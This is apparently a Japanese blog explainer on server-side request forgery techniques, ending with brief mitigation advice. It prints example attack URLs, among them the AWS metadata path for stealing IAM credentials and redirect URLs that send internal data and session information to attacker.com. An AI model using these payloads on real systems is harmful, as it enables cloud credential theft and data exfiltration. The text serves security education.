Hello there, ('ω')ノ
SSRF(サーバーサイドリクエストフォージェリ)攻撃は、アプリケーションやバックエンドシステムの 信頼関係 を悪用し、攻撃をエスカレートさせることで 不正な操作 を実行することができます。ここでは、一般的なSSRF攻撃の手法を紹介します。
1. 内部ネットワークのスキャン・アクセス
多くの企業では、内部ネットワーク内のサービスは信頼され、外部からのアクセスは制限されています。しかし、SSRFを利用すると、アプリケーションサーバーを経由して 内部のシステムにリクエストを送信 できます。
攻撃例:
- イントラネット上の管理ツール(Jenkins、Grafana、Kibanaなど)にアクセスする
- URL例:
http://internal-admin-dashboard.local/
- URL例:
- データベースやAPIサーバーに直接リクエストを送信する
- URL例:
http://10.0.0.1:3306/
(MySQL) - URL例:
http://192.168.1.100:5000/api/secret
(社内API)
- URL例:
影響:
- 内部システムの情報を盗み出す(データベースの認証情報など)
- 管理コンソールに不正ログインし、システムを操作する
2. クラウド環境のメタデータ情報取得
AWS、GCP、Azureなどのクラウドサービスでは、インスタンスの情報を取得するために メタデータサービス が提供されています。
しかし、SSRF脆弱性があると、攻撃者がメタデータサービスにアクセスし、 認証情報(IAMクレデンシャル) を盗むことが可能です。
攻撃例:
AWS環境では、以下のURLにリクエストを送ることでIAMクレデンシャルを取得できます。
http://169.254.169.254/latest/meta-data/iam/security-credentials/
取得したクレデンシャルを使うことで、AWSリソース(S3バケット、EC2インスタンスなど)に不正アクセスが可能になります。
影響:
- クラウドストレージ(S3など)のデータ流出
- AWSアカウントへの侵入・リソースの不正利用
3. HTTPリダイレクトを悪用した攻撃
一部のアプリケーションでは、リダイレクトを許可している場合があります。攻撃者は、 SSRFリクエストを任意のサイトにリダイレクトさせ、機密情報を盗み出す ことが可能です。
攻撃例:
- SSRFを利用して、
http://internal-api.local/data?redirect=http://attacker.com/log
にアクセスさせ、内部APIのデータを外部サイトに送信する http://internal-auth.local/session?url=http://attacker.com/capture
にアクセスし、セッション情報を窃取
影響:
- 機密情報の漏洩(ユーザーセッションや認証トークンなど)
- 外部の攻撃サーバーへのデータ送信
4. 外部システムへの攻撃(DDoS・スパム送信)
SSRFを利用して ターゲット企業のサーバーを踏み台 にし、第三者のサーバーを攻撃することができます。
攻撃例:
- SSRFを使って 外部サーバーに大量のリクエスト を送り、DDoS攻撃を仕掛ける
- SSRFを利用して、スパムメールの送信サーバーとして利用する
影響:
- 企業のIPアドレスが攻撃に使用され、ブラックリストに登録される
- 被害者のサーバーが過負荷になり、サービスダウン
まとめ
SSRF攻撃は、内部ネットワークのスキャン、クラウド認証情報の取得、データの漏洩、DDoS攻撃など、 多様な攻撃手法に利用される 非常に危険な脆弱性です。
適切な アクセス制御、リクエストのフィルタリング、ネットワーク分離 を実施することで、被害を最小限に抑えることが重要です。
Best regards, (^^ゞ